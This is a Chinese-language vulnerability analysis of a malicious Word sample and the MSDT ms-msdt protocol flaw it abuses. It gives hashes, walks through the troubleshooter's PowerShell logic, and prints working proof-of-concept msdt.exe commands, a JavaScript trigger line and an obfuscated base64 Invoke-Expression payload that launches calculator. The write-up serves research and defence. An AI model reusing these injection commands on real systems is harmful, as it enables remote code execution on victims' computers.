简介
2022年5月27日,安全研究人员nao_sec上传了一个样本,称这个样本从白俄罗斯上传,使用了一系列技巧来运行恶意 PowerShell 脚本。
MD5:52945af1def85b171870b31fa4782e52
SHA1:06727ffda60359236a8029e0b3e8a0fd11c23313
SHA256:4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
FileName:05-2022-0438.doc
样本分析
样本是一个docx文档,在/word/res/document.xml.rels内使用了远程模板
分析远程Html RDF8421.html发现使用了填充,并在其后使用 URL 协议调用 MSDT;
使用了四个参数,分别是
IT_RebrowseForFile
IT_LaunchMethod
IT_SelectProgram
IT_BrowseForFile
利用IT_BrowseForFile参数加载了powershell脚本以执行恶意功能。
漏洞分析
从漏洞利用调用来看,winword启动了msdt.exe,COM启动了sdiagnhost.exe,该程序启动了恶意样本。
我们把关注点放到msdt.exe上,将poc简化进行分析,直接利用msdt程序加载ms-msdt协议。经过测试,得到如下简化poc,直接在cmd窗口输入即可触发。
msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param “IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../../../../$(notepad)/.exe”
通过该命令,观察一下进程树。是sdiaghost.exe在遍历寻找notepad.exe,然后启动了notepad.exe进程。
但是并没有发现powershell进程,再搜索一下与powershell有关的信息,发现msdt.exe遍历了C:\Windows\diagnostics\system\PCW,将该目录下的TS_ProgramCompatibilityWizard.ps1、RS_ProgramCompatibilityWizard.ps1和一些其他文件都复制到了Temp目录。
我们再将poc修改一下,让msdt.exe程序能分步显示结果,并且监控一下复制到Temp里面的几个ps1文件。
需要将poc修改错误,让其单步执行,修改poc如下:msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param “IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../$(notepad)/.exe”。这样msdt.exe就会停在错误的界面,以让人工修正所输入的exe路径。
将路径修改为msdt.exe能正确执行的路径
再次观察几个ps1文件的操作,发现poc正确执行了,并且sdiagnhost.exe调用了Temp目录下的TS_ProgramCompatibilityWizard.ps1和RS_ProgramCompatibilityWizard.ps1。
审计一下两个ps1文件。在TS_ProgramCompatibilityWizard.ps1发现其调用RS_相关脚本来执行应用程序的手动故障排除部分。
并且根据测试,poc是在加载TS_ProgramCompatibilityWizard.ps1时触发的。
仔细审计TS_ProgramCompatibilityWizard.ps1,在里面确实能发现
IT_RebrowseForFile
IT_LaunchMethod
IT_SelectProgram
IT_BrowseForFile
四个参数
IT_RebrowseForFile 重新浏览文件,在输入的文件未通过检测时使用
这里也可用利用IT_RebrowseForFile执行powershell命令
msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param “IT_RebrowseForFile=h$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+’Y2FsYw==’+[char]34+’))’))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=test IT_AutoTroubleshoot=ts_AUTO”
脚本命令如下:
window.location.href = “ms-msdt:/id PCWDiagnostic /skip force /param \”IT_RebrowseForFile=?$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+’Y2FsYw==’+[char]34+’))’))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=test IT_AutoTroubleshoot=ts_AUTO\””;
# This block of code determines how the troubleshooter was invoked. If it was invoked through the control panel, we have to get an exe name to work with. If context menu we already have it.
(#此代码块确定如何调用疑难解答。如果它是通过控制面板调用的,我们必须获得一个要使用的exe名称。如果上下文菜单已经有了。)
这个参数获取输入的调用疑难解答的方式,默认是ControlPanel。
IT_SelectProgram 在没有找到快捷方式时,转到“浏览文件”选择程序。如果IT_SelectProgram为“Not listed”则继续使用IT_BrowseForFile参数值。
IT_BrowseForFile 浏览文件使用的值
代码分析
1. 代码首先确定调用疑难解答的方式;
2. 搜寻各个菜单中的快捷方式;
3. 增加“未列出”条目
4. 如果加载方式时控制面板则合并列表和排序等等
5. 如果没有发现快捷方式就使用IT_BrowseForFile参数传递过来的参数。这也是为什么样本中使用IT_LaunchMethod=ContextMenu的原因,避免使用“ControlPanel”选项,进而使用IT_BrowseForFile参数。
6. 调用Test-Selection函数对IT_BrowseForFile传递进来的参数进行验证。
7. Test-Selection函数检测是否为空,利用IsFileProtected函数检测文件是否受到保护 ,而IsFileProtected调用SfcIsFileProtected函数进行检测,该函数
如果文件受保护,则返回值为非零值。
如果文件不受保护,则返回值为零。
很显然,文件如果不受到保护,则检测该文件扩展名是否是exe或msi,并没有对整个输入进行检测。同时,利用相对路径绕过test-path命令,保证其返回true,同时也绕过IsFileProtected函数,得以使用系统文件。
并把appValid值设置为检测结果testResult的值。
8. 如果检测没通过就利用IT_RebrowseForFile参数值和rebrowseText的值,然后再次进行检测直到通过;
9. 检测通过后,过去文件名,并且将`$替换为$。
10. 返回选择以查找所选应用程序的显示名称。
11. 了解COS有哪些关于应用程序的信息,如果COS有关于应用程序的更新信息,则显示早期信息
public static ArrayList GetAppInfoFromCOS(String PathToFile) { const int MAX_PATH = 260; const int MAX_URL = 2048; const String KnownVersions = "WIN8RTM WIN7RTM VISTASP2 WINXPSP3"; const String KnownLayers = "256COLOR 16BITCOLOR 640X480 HIGHDPIAWARE MSIAUTO RUNASADMIN"; StringBuilder URL = new StringBuilder(MAX_URL); StringBuilder RecommendedLayer = new StringBuilder(MAX_PATH); uint CompatStatus = 0; uint ConvertedCompatStatus = 0; uint ReturnValue = 0; bool Apphelp = false; String FilteredLayers = ""; ReturnValue = GetAppInformationFromCOS(PathToFile, URL, out CompatStatus, RecommendedLayer, out Apphelp); ArrayList AppInfo = new ArrayList(); // // There is a difference between the return value and what we want to use internally // Semantic Meaning | COS Response | Used Value // --------------------------------------------------------------------------------- // Failed to get file info (Program ID, File ID, etc) | N/A | 1 // Failed when calling COS | N/A | 2 // Free Update | 30 | 3 // Paid Update (apphelp) | 40 and Apphelp | 4 // Paid Update (no apphelp) | 40 no Apphelp | 5 // Unknown solution | 50 | 6 // Compatible | 10 | 7 // KB Article available | 15 | 8 // No info available from COS | 0 | 9 // switch (CompatStatus) { case 0: if (ReturnValue == 58) { // // ERROR_BAD_NET_RESP // ConvertedCompatStatus = 2; } else if (ReturnValue == 13) { // // ERROR_INVALID_DATA // ConvertedCompatStatus = 1; } else { ConvertedCompatStatus = 9; } break; case 10: ConvertedCompatStatus = 7; break; case 15: ConvertedCompatStatus = 8; break; case 30: ConvertedCompatStatus = 3; break; case 40: if (Apphelp == true) { ConvertedCompatStatus = 4; } else { ConvertedCompatStatus = 5; } break; case 50: default: ConvertedCompatStatus = 6; break; } // // Filter out all but the oldest version layer // Filter out anything not in either list // int VersionIndex = -1; String VersionLayer = ""; foreach (String s in (RecommendedLayer.ToString()).Split(' ')) { if (KnownVersions.IndexOf(s) > VersionIndex) { VersionIndex = KnownVersions.IndexOf(s); VersionLayer = s; } else { if (KnownLayers.IndexOf(s) != -1) { FilteredLayers += s; FilteredLayers += " "; } } } if (VersionIndex != -1) { FilteredLayers += VersionLayer; } FilteredLayers = FilteredLayers.TrimEnd(null); if (FilteredLayers.Length == 0) { FilteredLayers = "NONE"; } AppInfo.Add(ConvertedCompatStatus); AppInfo.Add(URL.ToString()); AppInfo.Add(FilteredLayers); return AppInfo; }
12. 根据UpdateChoice的值确定执行。经过测试,输入构造powershell时,AppInfo返回1 (空)NONE三个值,$UpdateChoice = “ts_Manual”,导致执行Update-DiagRootCause。
13. Update-DiagRootCause
报告根本原因的状态
用法:Update-DiagRootcause [-Id] <String> [-InstanceId] <String> [-Detected] <Boolean> [-Parameter] <Collections.Hashtable>]
直接看第三个参数:-Parameter Collections.Hashtable
定义根本原因或其子节点使用的参数的键/值对哈希表。哈希表中的每个键都必须是唯一的,并且必须与根本原因节点声明的参数匹配。键名区分大小写。您必须在根本原因中包含未指定默认参数值的参数;包含默认值的参数是可选的。
Update-DiagRootCause -id "RC_IncompatibleApplication" -iid "notepad" -Detected $true -parameter @{ "TARGETPATH" = "/../../$(notepad).exe"; "APPNAME" = "/../../$(calc).exe"}
它的参数类型是能执行powershell的,而传递给Update-DiagRootcause的参数$selectedProgram就是powershell命令,而$appName则是文件名。
也可以这样构造命令,让appname执行powershell,因为GetFileNameWithoutExtension会将文件名提取出来,就得到$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+’Y2FsYw==’+[char]34+’))’)))),从而执行两条powershell命令,但是appname会被执行两次。
/../../$(notepad).exe/../../../../../../../../../../../../../../Windows/System32/$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+’Y2FsYw==’+[char]34+’))’)))).exe
甚至第二个参数-iid也可以执行powershell指令
最后
原创分析 转载需注明
By VisWing